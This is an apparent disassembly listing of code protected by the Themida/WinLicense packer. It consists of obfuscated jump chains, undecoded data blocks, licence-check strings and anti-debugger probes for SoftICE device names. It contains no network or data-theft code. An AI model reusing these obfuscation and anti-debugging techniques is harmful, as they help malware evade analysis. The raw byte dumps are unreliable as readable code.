; ---------------------------------------------------------------------------


loc_56AEFD:				; CODE XREF: Themida_:00565C0Bj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5564B5
; ---------------------------------------------------------------------------
		db 89h
		dd 0BE56241Ch, 4E385BAEh, 0FF1AEEE9h, 5AD729FFh, 5C243C87h
		dd 0FFDE9FE9h, 3889B9FFh, 0E1C11FF5h, 51E18102h, 0D13D4B7Fh
		dd 0E95250E1h, 0FFFF7B3Eh, 4B8h, 0F70DE900h, 0C581FFFFh
		dd 7BE30A82h, 23BFF581h, 0EA312DF9h, 0FFC015E9h, 0E38158FFh
		dd 329151A7h, 0D5D6EB81h, 0DA31F5DAh, 5AD6895Bh, 519BEE81h
		dd 0F529FC8Dh, 0FED733E9h, 4C483FFh, 0E9240487h, 0FFFFDC29h
; ---------------------------------------------------------------------------


loc_56AF84:				; CODE XREF: Themida_:0055CD8Cj
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esi
		push	59C0872h
		mov	esi, [esp]
		add	esp, 4
		xchg	ecx, esi
		dec	ecx
		push	esi
		jmp	loc_55C9FF
; ---------------------------------------------------------------------------
		db 0F7h
		dd 9CC581DDh, 0C11B5A5Dh, 0EC8303EDh, 243C8904h, 0FFB409E9h
		dd 8CEA81FFh, 104C641h,	8CC281EAh, 8B04C641h, 0C481242Ch
		dd 4, 4EC81h, 14890000h, 0DBFFE924h, 5866FFFEh,	0C091B252h
		dd 0EA8004E2h, 7522E91Bh, 0E9ADFFFFh, 0FFFEC3ACh
; ---------------------------------------------------------------------------


loc_56AFF8:				; CODE XREF: Themida_:0055ED02j
		mov	[esp], edx
		jmp	loc_56576C
; ---------------------------------------------------------------------------
		dd 72E268h, 243C8900h, 0DB2FF9BFh, 0FFEF830Fh, 5206EFC1h
		dd 0FF8685E9h, 40FE68FFh, 815D3D55h, 5540FAEDh,	5DE9013Dh
		dd 4E981h, 97E90000h
		db 3Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B033:				; CODE XREF: Themida_:0055D918j
		mov	edx, [esp]
		add	esp, 4
		push	490h
		mov	[esp], edx
		mov	edx, 24h
		add	edx, 43C469B5h
		add	edx, edi
		sub	edx, 43C469B5h
		xor	esi, [edx]
		pop	edx
		push	ecx
		mov	ecx, 24h
		add	ecx, edi
		jmp	loc_558F25
; ---------------------------------------------------------------------------
		db 83h
		dd 1E904C4h, 0B9FFFFFEh, 10C47C67h, 0FF3435E9h,	0B45051FFh
		dd 58E588A8h, 8059EB08h, 0F38070F3h, 6EBC0C1h, 0FF2303E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B091:				; CODE XREF: Themida_:0055C03Dj
		pop	ebp
		pop	ebp
		add	eax, edi
		push	dword ptr [esp]
		jmp	loc_559B50
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 3A18685Ch, 14890000h, 0E3895324h, 0FFFAECE9h, 0EAC781FFh
		dd 89F53291h, 0EB095FFDh, 5468505Dh, 8B5AE608h,	0AAE92404h
		dd 54FFFF00h, 5224048Fh, 4BAh, 24540100h, 67E95A04h
		db 0E7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56B0DF:				; CODE XREF: Themida_:0055B114j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	2983h
		mov	[esp], esi
		jmp	loc_5584E2
; ---------------------------------------------------------------------------
		db 66h,	89h, 4
		dd 28F3B024h, 665E9C7h,	5257FFFFh, 0EE62EBBAh, 2CBE5663h
		dd 0E97FD61Ah, 0FFFF39D3h, 5FF8895Dh, 5258C721h, 0B22CCEBAh
		dd 87D2F758h, 87D7F7FAh, 0E25AE9FAh, 1C87FFFFh,	0CD95E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B14E:				; CODE XREF: Themida_:00558C10j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		idiv	cl
		jmp	loc_55B99A
; ---------------------------------------------------------------------------
		dd 295EF101h, 0EC8359CDh, 242C8904h, 0FF58DEE9h, 240483FFh
		dd 0EC815804h, 4, 0E9240C89h, 0FFFFBF12h, 0ECD019B4h, 802ACC80h
		dd 0ECC04EC4h, 30EC8004h, 8058E500h, 24E950F5h,	8BFFFF67h
		dd 8B662424h, 4F68240Ch, 8900006Bh, 0E9542414h,	0FFFF7FD9h
		dd 5C240C87h, 815EF129h, 345A7CC1h, 0AC47E945h,	4BEFFFFh
		dd 1000000h, 24348BF3h,	0FFF3D5E9h, 5BDD89FFh, 0FFFDE0E9h
		dd 4C481FFh, 81000000h,	4ECh, 24048900h, 0AE9E089h, 5EFFFFA1h
		dd 5C241487h, 1C8BD831h, 4EC8324h, 81240489h, 4ECh, 24248900h
		dd 4240481h, 0E9000000h, 0FFFF35A5h, 5053CFB6h,	0FF1636E9h
		dd 0C8B66FFh, 6A03E924h, 34FFFFFFh, 240C8B24h, 4C481h
		dd 0D2E90000h, 0BBFFFF63h, 3C427E70h, 1274CB81h, 0C3812F8Bh
		dd 332E2FC7h, 69C3814Bh, 81161230h, 0A31963CBh,	0EC83516Ch
		dd 242C8904h, 0FEE688E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B265:				; CODE XREF: Themida_:0055D253j
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	eax
		jmp	loc_5640DC
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 0FFFF8F6Ch, 8304C483h, 0CA8804C4h, 0A50459h
		dd 5BA7E9D0h, 36EBFFFFh, 52455355h, 642E3233h, 41006C6Ch
		dd 50415644h, 2E323349h, 6C6C64h, 4C44544Eh, 6C642E4Ch
		dd 7D7006Ch, 4000Ah, 0B0012h, 16002Eh, 0D9E20270h, 70E94EB7h
		dd 68000008h, 5EA9A5Ch,	0FDE4F9E9h, 9AC568FFh, 0EFE905EAh
		dd 68FFFDE4h, 5EA9C1Eh,	0FDE4E5E9h, 9D3B68FFh, 0DBE905EAh
		dd 68FFFDE4h, 5EA9DCEh,	0FDE4D1E9h, 9EE968FFh, 0C7E905EAh
		dd 68FFFDE4h, 5EA9F58h,	0FDE4BDE9h, 43B9B0FFh, 0C73530A2h
		dd 4CB0B426h, 0D33F39ABh, 5448C032h, 8328F4B3h,	476178Fh
		dd 86F8990Fh, 0C7E1F8Dh, 9D01A206h, 0D16014AFh,	8648A2B2h
		dd 0C23BEE9Bh, 0D36E5C83h, 96E01850h, 7B1690F6h, 0C0DA3B2Ch
		dd 0DECCF332h, 124E8443h, 956CD273h, 614F76B5h,	0BB1881C6h
		dd 816FD570h, 0B3B8190Fh, 704F01B7h, 9A020274h,	2B219334h
		dd 0B7076DB7h, 7047CDFEh, 71FBCh, 0BB212800h, 3FADA81Ah
		dd 0C4282C9Eh, 4BB7B123h, 0CC3038AAh, 0FBB06C2Bh, 7CEE8F77h
		dd 0FE7011F7h, 84F69705h, 15791A8Eh, 0D1D88C27h, 0FEC0A2B2h
		dd 6246CC13h, 456CAB8Bh, 9EE3BC57h, 7F6D96E2h, 0B2D130E4h
		dd 54B218A2h, 0C638268Ch, 4CBE5F4Dh, 0EC25DCBh,	0F6A2B2D1h
		dd 0E1532A90h, 0F52D776Bh, 11F7B684h, 6B6863Ah,	98910000h
		dd 14118324h, 919507A8h, 181A8C2Dh, 0A9A113B4h,	9D59435h
		dd 57F8EC64h, 0D97A6EE5h, 5F00EC67h, 0E28367EDh, 41F5907Eh
		dd 29A2B2D2h, 0FD507C67h, 5FDCC5CCh, 8AFC5A1Ch,	0C0322084h
		dd 0E5C94B45h, 6B42A80Eh, 0E2D0A705h, 7AFDF770h, 0F3593096h
		dd 0B92D2395h, 6B166EE2h, 8F0CDC2Fh, 0D73B3Dh, 0E66479Ah
		dd 8DDBB917h, 51098239h, 5Eh, 66DE5066h, 0DB399F76h, 7CF3E369h
		dd 96812288h, 0C837EBA3h, 0C73B319Ch, 0F2EE67D9h, 49AF867Eh
		dd 4E485E3h, 15B09EC5h,	96E0A65Dh, 87F9E74Dh, 4432208Ch
		dd 0CB665ED2h, 0A2B0AA17h, 9A3B99FFh, 9E392F28h, 0A2B0A9EAh
		dd 0C83430h, 0A95D349Ah, 5F0h, 0EB4D68BBh, 741ECB53h, 46CC2B16h
		dd 717C2175h, 258B0B16h, 82F6E4Eh, 0F9247F1Ah, 0AC1296E0h
		dd 0A5AB1D0Bh, 0F8CF3335h, 5CCE2C92h, 9204F2D6h, 27C8269Eh
		dd 734CC739h, 0E2827376h, 57B51B27h, 23113877h,	50D54735h
		dd 942F956Ch, 0A2B056E0h, 690462C8h, 9CCABD3Bh,	796755BBh
		dd 0BE3CF08Bh, 0C62C9CCAh, 837DF668h, 16B71D81h, 4F3DA3A4h
		dd 147256DDh, 57DD4F3Dh, 0ADA31573h, 6EC1252Dh,	0B52AE666h
		dd 206AD0B6h, 0F1CE75DEh, 5D83370Eh, 0EA000005h, 6ADC7D67h
		dd 0EE6001EBh, 73E58676h, 0FA6C0DF1h, 2EED8E76h, 51B5BD6Eh
		dd 0D3C93EB0h, 5947C032h, 0DCC046B8h, 4EE9D73Bh, 0A2B2D39Ah
		dd 0CCDDC88Ah, 198B6246h, 0B0ACA313h, 0C8386115h, 7DE3499Ch
		dd 74CC4017h, 6C3A8D0Dh, 0EDA1BCB1h, 91E37EDCh,	279CC897h
		dd 8256FC49h, 0FECABE09h, 0CCD3FFFFh, 0AB8B6246h, 0BC57456Ch
		dd 96E00751h, 6242E349h, 730EFC23h, 9CC81714h, 0C0AE9C02h
		dd 0C8387125h, 95F3599Ch, 386C23BEh, 19719CC8h,	0F2F44268h
		dd 0E1530981h, 104766Ah, 0AFB43D9Bh, 0C6000001h, 0F1ADA173h
		dd 96F4AB8Fh, 0C23BEEABh, 0E8D45083h, 5745AB11h, 98DE1669h
		dd 0A9015C22h, 552DB04Bh, 0EFDD96E0h, 0B054A054h, 0BC2288A2h
		dd 60E25442h, 34831E7Ch, 0FCC0DA38h, 0C523898Ah, 917FA6E5h
		dd 121437F6h, 1AF15773h, 4ACC3E2Ch, 5C17CB66h, 99FF76A2h
		dd 0F51C5B3Bh, 23276C07h, 816F70BBh, 0FA5432E6h, 56BC2278h
		dd 8C70F668h, 0FF379EBh, 0FE0781C5h, 32E6BDCDh,	440h, 0F99A0207h
		dd 7D1E8E87h, 2A30B0Bh,	892A9690h, 0AAB1317h, 56DA934Bh
		dd 0D45BCD6Eh, 5ADD4FF0h, 0ED63D576h, 6F458F9h,	0B2D4B76Bh
		dd 0F2DD9FA2h, 0AF81F5Eh, 532BCFB7h, 6C06574Ah,	7A2974CAh
		dd 0A290EE54h, 0E384E607h, 9AD52896h, 0D183DA8Ch, 93D6F6CDh
		dd 5ECF5B40h, 0B2B90FC3h, 2B91F7A2h, 0AEC7AD8h,	90F6A8DFh
		dd 0C93730A2h, 0FEAC88DBh, 11C954F4h, 8778C9BEh, 8EEC90D3h
		dd 8F87BEDh, 633AA00Ch,	3D877BF1h, 0F7B6982Fh, 0ADB4683Fh
		dd 9A000003h, 1A8C2D97h, 9E10B11Bh, 239536A6h, 0AA1CBD21h
		dd 0DE9D3EA6h, 1E56D3Eh, 8379EE60h, 9F770E2h, 8C70F668h
		dd 0FE9987EBh, 0A2B2D54Ah, 508D783Ah, 0FB8B64DEh, 0F3612733h
		dd 68DA389Eh, 9A7DF2E2h, 0AA714A27h, 1E71D770h,	344F3D01h
		dd 2C036964h, 2DC8B4BAh, 9CC91079h, 0BE95FB61h,	5E8FF24Ah
		dd 9CC90E0Ch, 0D077C4A2h, 9390982h, 4EFFFFFDh, 746246CCh
		dd 0C0970D02h, 4525FC5Ah, 3F1DF06h, 3D08DB0h, 69C769BEh
		dd 0E1CB33CEh, 54EFDD96h, 0A2B10AA0h, 0FCC42288h, 0BE24888Ah
		dd 36EE321Dh, 2E7488C7h, 1AD96E16h, 82705EC4h, 0B8A61A10h
		dd 0C89D691Dh, 8DEB519Ch, 0E07D6FF2h, 37B11796h, 19EA1A9Ch
		dd 3C63A27Ah, 48F4B34Eh, 8E7C44DFh, 0DF4B3FF3h,	63C12744h
		dd 7E5E359Bh, 0A4080C3Fh, 70B5503Eh, 163EF812h,	0DA50C2B0h
		dd 0DD93D5F9h, 81E7A4AAh, 0B62A2193h, 0CEF8C63h, 32902F75h
		dd 1AB5A391h, 4AC76366h, 188AE84Eh, 4464AE12h, 709FCB16h
		dd 292E599h, 0BCB50000h, 3035A748h, 0BDB92BCCh,	0C43EB051h
		dd 4DC537D8h, 25F9B859h, 7B1C8088h, 0FD9E0209h,	8324888Bh
		dd 6A71B11h, 6519B4A2h,	55A2B2D6h, 0DE50A893h, 37177567h
		dd 48E3D1F8h, 96E29E15h, 3FB19F05h, 97EAD8C4h, 5DD329AEh
		dd 0D92C9269h, 2A88B8CBh, 0B01C1789h, 0EC5B6FC2h, 26406957h
		dd 897FF1C8h, 0A7A1CB15h, 0AE1F7B6h, 22356h, 0B72D2400h
		dd 3BA1A416h, 0C02C289Ah, 47ABAD1Fh, 0C83C34A6h, 0F7B46827h
		dd 78EA8B73h, 0FA6C0DF3h, 80F29379h, 1175168Ah,	0D6D48823h
		dd 2C4A2B2h, 0C9FD5017h, 95F7D984h, 2F6E4EACh, 4C7F1A08h
		dd 3A96E365h, 9E7FF2E7h, 0FE644819h, 99342210h,	0A2B23BE5h
		dd 9F116FD5h, 0B49435A9h, 0C15C4A71h, 0A2B23C33h, 5CAF9D03h
		dd 4BDFE091h, 0FFD63497h, 4A21858Dh, 1FD36E5Ch,	7A2B2C3h
		dd 7AEC43A1h, 8D6D0EF6h, 9A35234Ah, 0A2B2C30Eh,	178960C6h
		dd 7FD6AD11h, 0B5A3070Dh, 5EF8B62h, 45A376A6h, 0C83C32A4h
		dd 462CA1F1h, 8D8393EEh, 67819h, 0DF53C59Ch, 534110E7h
		dd 0ED1E700h, 8251A418h, 783BD27Fh, 0B14D3475h,	0EC95ED4Bh
		dd 9D38242Ah, 0A2B32EE9h, 17056BD1h, 411D13C4h,	399753EAh
		dd 0BA222698h, 0EFD55ACCh, 7D54B218h, 7AD2A02Dh, 0A31B0F07h
		dd 24989002h, 6858DB4Dh, 0C127FEE2h, 0E47F6D5Bh, 0A2B2E230h
		dd 7D54B218h, 0EE2859B1h, 6FE1827Ah, 8F73F9F9h,	76645229h
		dd 0B2E227DBh, 4BA90FA2h, 407ABAB0h, 334EA66Ah,	8B796DE3h
		dd 0D9B01C19h, 80035086h, 0FE642359h, 878DFFA0h, 56DA4C23h
		dd 87DF976Eh, 342EA0FAh, 9D8BF1C8h, 61574E02h, 72D0365Ah
		dd 0F5960A00h, 2B198D83h, 56EEA23Dh, 70D65A61h,	1C5B3B12h
		dd 939507F5h, 0F5E3D12Fh, 0E4D6B4A2h, 2E8C4BF1h, 79BC5893h
		dd 97389E54h, 635178B7h, 0F526DA75h, 0A80E5539h, 0BEC15C4Ah
		dd 8C4F545Bh, 42C63826h, 0BF1D835Ah, 6BA7FAE8h,	3C30F704h
		dd 979D0F6Dh, 2A209233h, 6D44DFB6h, 33890AFCh, 81F3CA32h
		dd 733F168Ah, 4BC661Bh,	3EA2A416h, 968F0167h, 1170C826h
		dd 0AD9B0F05h, 0FAD1353Bh, 23953694h, 0F4E2B92Dh, 2651EEA1h
		dd 940661F7h, 5DCF2D93h, 7969EBDBh
		dd 3AAC12FEh, 9269CF35h, 3136EC6h, 0C276110Dh, 8938F15h
		dd 5FC59C00h, 2ACB3197h, 774EB2B8h, 0FC3h, 9A82D500h, 0D98FB6B5h
		dd 21877DF2h, 8F7AD8C3h, 885F45CCh, 0D5AC1016h,	25FCE063h
		dd 7148BCB3h, 0BC930BFFh, 7DEC64Ah, 582F9395h, 0A77E6EE6h
		dd 0F5CC3035h, 11F86873h, 34890000h, 81E68924h,	4C6h, 4EE8300h
		dd 5C243487h, 56C068h, 243C8900h, 41FA68h, 241C8900h, 0EA99E468h
		dd 243C8B05h, 8304C483h, 248904ECh, 24048124h, 4, 0F889505Bh
		dd 8B084389h, 0C4832404h, 2434FF04h, 4C4835Bh, 51243C8Bh
		dd 0C181E189h, 4, 8704C183h, 0E95C240Ch, 0FFFDDC96h, 0B813DD84h
		dd 5EAA1A0h, 0E0FFC503h, 329A2ACDh, 323733B3h, 2C8BB8CAh
		dd 2923265h, 2902733Bh,	35B0BAB0h, 305A024Bh, 7083EDD7h
		dd 40C6ACF2h, 4AB2CD02h, 6F2813ECh, 719CCB1h, 5D3E46EAh
		dd 4BACE85Fh, 4B24FE08h, 56E4DD8Ch, 3C4A85D8h, 62A9C203h
		dd 32152143h, 0B207755h, 12A83C24h, 213A6A4Fh, 6E155E98h
		dd 56A61514h, 7E1E6E9Bh, 725A301Ah, 1A4B6F1h, 13E8h, 652A4500h
		dd 4F930C5Bh, 0D54F7791h, 666FB759h, 56B2BB80h,	0EF815EF9h
		dd 0F702DC0h, 626FC681h, 0D22B0000h, 0FE960h, 0D9B30000h
		dd 0F3EBDAE7h, 3BB7F581h, 2A9CBC7Ah, 61CB8AD6h,	60161C8Bh
		dd 5B57C28Bh, 43F38161h, 0F863EB5Fh, 7153F381h,	81F90BDEh
		dd 0BF4D1FC3h, 3E37B816h, 66532A97h, 4A74F181h,	8A16048Fh
		dd 0FBBF0FCAh, 0B404EA83h, 38FA811Eh, 0FFFFF9Eh, 1685h
		dd 0C6BF0F00h, 27E9h, 0F3825500h, 6DC87C8Eh, 926CBF64h
		dd 0E9D6647Eh, 0FFFFFFA4h, 0D3F585C0h, 690892BEh, 306F312Ah
		dd 566BF5ADh, 0C5B16112h, 73E9h, 0BD836000h, 5E81FD5h
		dd 5840F00h, 0E9000000h, 5Eh, 3E80006Ah, 8850F30h, 6A000000h
		dd 35E94600h, 80000000h, 850F333Eh, 8, 0E946106Ah, 24h
		dd 0F343E80h, 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh
		dd 406A0000h, 2E946h, 6A0000h, 11A5858Dh, 895005E8h, 89502404h
		dd 6A2434h, 90D95FFh, 0C36105E8h, 201585C6h, 684D05E8h
		dd 2E56042Fh, 79240481h, 0FF75DF72h, 0E80FDDB5h, 0D7858D05h
		dd 0FF05E838h, 0D8589D0h, 0E905E809h, 0AAh, 74666F53h
		dd 65726177h, 6E69575Ch, 6563694Ch, 65736Eh, 63656843h
		dd 4E496Bh, 6F727058h, 69784574h, 68430074h, 4F6B6365h
		dd 57005455h, 694C6E69h, 736E6563h, 72655665h, 6E6F6973h
		dd 6E695700h, 6563694Ch, 4465736Eh, 65766972h, 72655672h
		dd 6E6F6973h, 6E695700h, 6563694Ch, 4965736Eh, 6174736Eh
		dd 65636Eh, 74697845h, 50006B4Fh, 49636F72h, 7250004Eh
		dd 554F636Fh, 78450054h, 4E497469h, 69784500h, 54554F74h
		dd 49705400h, 4Eh, 2 dup(0)
		dd 0AF7F0000h, 72F077DDh, 96E977DDh, 89000005h,	0EAA47185h
		dd 6D858D05h, 5005EAA4h, 0A3D7858Dh, 685005EAh,	80000001h
		dd 0A47D95FFh, 196A05EAh, 0A471B5FFh, 16A05EAh,	858D006Ah
		dd 5EAA406h, 6DB5FF50h,	0FF05EAA4h, 0E8246995h,	6DB5FF05h
		dd 0FF05EAA4h, 0EAA47995h, 6DB5FF05h, 0FF05EAA4h, 0E8050195h
		dd 8589C305h, 5EAA471h,	0A46D858Dh, 8D5005EAh, 0EAA3D785h
		dd 1685005h, 0FF800000h, 0EAA47D95h, 8D046A05h,	0EAA47185h
		dd 46A5005h, 858D006Ah,	5EAA430h, 6DB5FF50h, 0FF05EAA4h
		dd 0E8246995h, 6DB5FF05h, 0FF05EAA4h, 0EAA47995h, 6DB5FF05h
		dd 0FF05EAA4h, 0E8050195h, 8589C305h, 5EAA471h,	0A46D858Dh
		dd 8D5005EAh, 0EAA3D785h, 1685005h, 0FF800000h,	0EAA47D95h
		dd 8D046A05h, 0EAA47185h, 46A5005h, 858D006Ah, 5EAA418h
		dd 6DB5FF50h, 0FF05EAA4h, 0E8246995h, 6DB5FF05h, 0FF05EAA4h
		dd 0EAA47995h, 6DB5FF05h, 0FF05EAA4h, 0E8050195h, 8589C305h
		dd 5EAA471h, 0A46D858Dh, 8D5005EAh, 0EAA3D785h,	1685005h
		dd 0FF800000h, 0EAA47D95h, 8D046A05h, 0EAA47185h, 46A5005h
		dd 858D006Ah, 5EAA443h,	6DB5FF50h, 0FF05EAA4h, 0E8246995h
		dd 6DB5FF05h, 0FF05EAA4h, 0EAA47995h, 6DB5FF05h, 0FF05EAA4h
		dd 0E8050195h, 8589C305h, 5EAA471h, 0A46D858Dh,	8D5005EAh
		dd 0EAA3D785h, 1685005h, 0FF800000h, 0EAA47D95h, 8D046A05h
		dd 0EAA47185h, 46A5005h, 858D006Ah, 5EAA3F3h, 6DB5FF50h
		dd 0FF05EAA4h, 0E8246995h, 6DB5FF05h, 0FF05EAA4h, 0EAA47995h
		dd 6DB5FF05h, 0FF05EAA4h, 0E8050195h, 0BD83C305h, 5E816DDh
		dd 0B840F00h, 8B000000h, 0E816DD9Dh, 4CC38305h,	83C30389h
		dd 0E816DDBDh, 840F0005h, 0Bh, 16DD9D8Bh, 0C38305E8h, 0C3038950h
		dd 16DDBD83h, 0F0005E8h, 0B84h,	0DD9D8B00h, 8305E816h
		dd 38954C3h, 0DDBD83C3h, 5E816h, 0B840Fh, 9D8B0000h, 5E816DDh
		dd 8958C383h, 0BD83C303h, 5E816DDh, 0B840F00h, 8B000000h
		dd 0E816DD9Dh, 5CC38305h, 0C3C30389h, 71858960h, 8D05EAA4h
		dd 0EAA46D85h, 858D5005h, 5EAA3D7h, 16850h, 95FF8000h
		dd 5EAA47Dh, 858D046Ah,	5EAA471h, 6A046A50h, 68858D00h
		dd 5005EAA4h, 0A46DB5FFh, 95FF05EAh, 5E82469h, 0E89BD83h
		dd 0F0005E8h, 0C84h, 6DB5FF00h,	0FF05EAA4h, 0EAA47995h
		dd 6DB5FF05h, 0FF05EAA4h, 0E8050195h, 60C36105h, 0A4718589h
		dd 858D05EAh, 5EAA46Dh,	0D7858D50h, 5005EAA3h, 168h, 7D95FF80h
		dd 6A05EAA4h, 71858D04h, 5005EAA4h, 6A046Ah, 0A44A858Dh
		dd 0FF5005EAh, 0EAA46DB5h, 6995FF05h, 8305E824h, 0E80E89BDh
		dd 840F0005h, 0Ch, 0A46DB5FFh, 95FF05EAh, 5EAA479h, 0A46DB5FFh
		dd 95FF05EAh, 5E80501h,	8960C361h, 0EAA47185h, 6D858D05h
		dd 5005EAA4h, 0A3D7858Dh, 685005EAh, 80000001h,	0A47D95FFh
		dd 46A05EAh, 0A471858Dh, 6A5005EAh, 8D006A04h, 0EAA45185h
		dd 0B5FF5005h, 5EAA46Dh, 246995FFh, 0BD8305E8h,	5E80E89h
		dd 0C840F00h, 0FF000000h, 0EAA46DB5h, 7995FF05h, 0FF05EAA4h
		dd 0EAA46DB5h, 195FF05h, 6105E805h, 858960C3h, 5EAA471h
		dd 0A46D858Dh, 8D5005EAh, 0EAA3D785h, 1685005h,	0FF800000h
		dd 0EAA47D95h, 8D046A05h, 0EAA47185h, 46A5005h,	858D006Ah
		dd 5EAA459h, 6DB5FF50h,	0FF05EAA4h, 0E8246995h,	89BD8305h
		dd 5E80Eh, 0C840Fh, 0B5FF0000h,	5EAA46Dh, 0A47995FFh, 0B5FF05EAh
		dd 5EAA46Dh, 50195FFh, 0C36105E8h, 71858960h, 8D05EAA4h
		dd 0EAA46D85h, 858D5005h, 5EAA3D7h, 16850h, 95FF8000h
		dd 5EAA47Dh, 858D046Ah,	5EAA471h, 6A046A50h, 60858D00h
		dd 5005EAA4h, 0A46DB5FFh, 95FF05EAh, 5E82469h, 0E89BD83h
		dd 0F0005E8h, 0C84h, 6DB5FF00h,	0FF05EAA4h, 0EAA47995h
		dd 6DB5FF05h, 0FF05EAA4h, 0E8050195h, 60C36105h, 0A47185C7h
		dd 105EAh, 858D0000h, 5EAA46Dh,	0D7858D50h, 5005EAA3h
		dd 268h, 7D95FF80h, 0B05EAA4h, 0F840FC0h, 0C7000000h, 0EAA47185h
		dd 5, 4DE900h, 46A0000h, 0A471858Dh, 6A5005EAh,	8D006A04h
		dd 0EAA3EB85h, 0B5FF5005h, 5EAA46Dh, 246995FFh,	0C00B05E8h
		dd 0F840Fh, 85C70000h, 5EAA471h, 0
		dd 0AE9h, 7185C700h, 105EAA4h, 0FF000000h, 0EAA46DB5h
		dd 195FF05h, 6105E805h,	0A471858Bh, 60C305EAh, 0A4718589h
		dd 858D05EAh, 5EAA46Dh,	0D7858D50h, 5005EAA3h, 168h, 7D95FF80h
		dd 6A05EAA4h, 71858D04h, 5005EAA4h, 6A046Ah, 0A3EB858Dh
		dd 0FF5005EAh, 0EAA46DB5h, 6995FF05h, 8305E824h, 0E80E89BDh
		dd 840F0005h, 0Ch, 0A46DB5FFh, 95FF05EAh, 5EAA479h, 0A46DB5FFh
		dd 95FF05EAh, 5E80501h,	8960C361h, 0EAA47185h, 6D858D05h
		dd 5005EAA4h, 0A3D7858Dh, 685005EAh, 80000001h,	0A47D95FFh
		dd 46A05EAh, 0A471858Dh, 6A5005EAh, 8D006A04h, 0EAA3FD85h
		dd 0B5FF5005h, 5EAA46Dh, 246995FFh, 0BD8305E8h,	5E80E89h
		dd 0C840F00h, 0FF000000h, 0EAA46DB5h, 7995FF05h, 0FF05EAA4h
		dd 0EAA46DB5h, 195FF05h, 6105E805h, 1585C6C3h, 5205E820h
		dd 0E47B0768h, 0ADB5FFADh, 0FF05E810h, 0E8162D95h, 7D858905h
		dd 0C605EAA4h, 0E8201585h, 0E5685205h, 0FF902E00h, 0E810ADB5h
		dd 2D95FF05h, 8905E816h, 0EAA47985h, 1585C605h,	5205E820h
		dd 0BF123568h, 0ADB5FFB9h, 0FF05E810h, 0E8162D95h, 69858905h
		dd 0C605E824h, 0E8201585h, 34685205h, 0FF987810h, 0E810ADB5h
		dd 2D95FF05h, 8905E816h, 0E8050185h, 1585C605h,	5205E820h
		dd 5DBD468h, 0ADB5FFC0h, 0FF05E810h, 0E8162D95h, 0D9858905h
		dd 0EB05E832h, 2E5C5C1Eh, 4349535Ch, 5C5C0045h,	49535C2Eh
		dd 44495657h, 2E5C5C00h, 49544E5Ch, 8B004543h, 51006AC0h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0F5481D1Dh, 0FE26DA98h, 0F98B6666h, 0E89BD83h, 750005E8h
		dd 0E9BD8309h, 5E80Bh, 53501974h, 0FB8C08Bh, 89000004h
		dd 0E8111D85h, 4E9D8D05h, 0FF05EAA9h, 83585BD3h, 0E80BE9BDh
		dd 17740005h, 0FB85350h, 89000004h, 0E8111D85h,	3D9D8D05h
		dd 0FF05EAA6h, 8B585BD3h, 0E80611BDh, 6D8D0105h, 0E805E820h
		dd 0Ah,	0B7E1FEFBh, 0B8AA7107h,	59F5C775h, 6AC08Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0E4105CC3h, 0C6F207E2h, 0E8201585h, 8B0F4305h, 1Bh
		dd 14E951h, 13490000h, 63BF4144h, 0E5A46A3Dh, 7B05F1C6h
		dd 67360A38h, 8B5961A0h, 0E82985BDh, 4E805h, 6EFC0000h
		dd 8A53BC8Eh, 50505FF1h, 0E88A5250h, 0C0BE310Fh, 5A15B339h
		dd 448B5A58h, 0BE600424h, 354368CDh, 8B61FB8Bh,	5810F00h
		dd 0BA000000h, 77138101h, 4244489h, 58D08B66h, 13E9h, 0D6F4C600h
		dd 39FBAE64h, 0E2D20359h, 23D5F975h, 491A83FAh,	2559B5FFh
		dd 952905E8h, 5E81F51h,	38D7858Dh, 13E905E8h, 0C3000000h
		dd 8A5BBB87h, 0A202C086h, 0A9F9D11Eh, 0F3A3E6C2h, 0D0FFA139h
		dd 1CBFB966h, 0FE850h, 44540000h, 0AE4EDAB0h, 1945873Dh
		dd 2813ADEEh, 9E9ECh, 68620000h, 0DA06027Ch, 5E4118C4h
		dd 89240489h, 0E825919Dh, 75B58905h, 6A05E831h,	13E900h
		dd 0E8010000h, 50EF7AE4h, 9D19D2F8h, 0D4FBFFDh,	0B9618AECh
		dd 0FE986800h, 0D78B6639h, 18243481h, 0E86639FEh, 0Ch
		dd 968FF3D9h, 59865575h, 0C3E4CF82h, 2161B50Bh,	6A5E05E8h
		dd 4EE98003h, 36A006Ah,	12860Fh, 6E80000h, 0DE000000h
		dd 0B8A9DF33h, 318D89EAh, 5905E80Ch, 4C91B968h,	6E8BEh
		dd 806F0000h, 4BDC922Ah, 0CE8B5250h, 3FBA310Fh,	5A149713h
		dd 4815E58h, 0B36E4724h, 0C5BD8901h, 8D05E809h,	0EAAAB49Dh
		dd 0BE805h, 0E7330000h,	0AB373C84h, 0B6E1EFB1h,	0A58589D3h
		dd 5905E808h, 0B9525050h, 98A73A0h, 5250310Fh, 0EE8h, 1BDB1B00h
		dd 4D18800Dh, 9CFDA8A8h, 5931CF95h, 0FE9310Fh, 2D000000h
		dd 9C7F83B5h, 0D75D639Fh, 5D41F204h, 585A343Dh,	1C89585Ah
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 9F644DFCh, 0D98166BBh, 0D0FF9681h, 55126DB9h
		dd 0E5858946h, 4005E816h, 2D4850Fh, 0D9810000h,	5A9D9469h
		dd 146D8509h, 605805E8h, 78F580F5h, 0B9669061h,	60500C9Fh
		dd 5E9h, 59BF3700h, 8B66E359h, 6A9061DEh, 69B96600h, 5BD8B4Ah
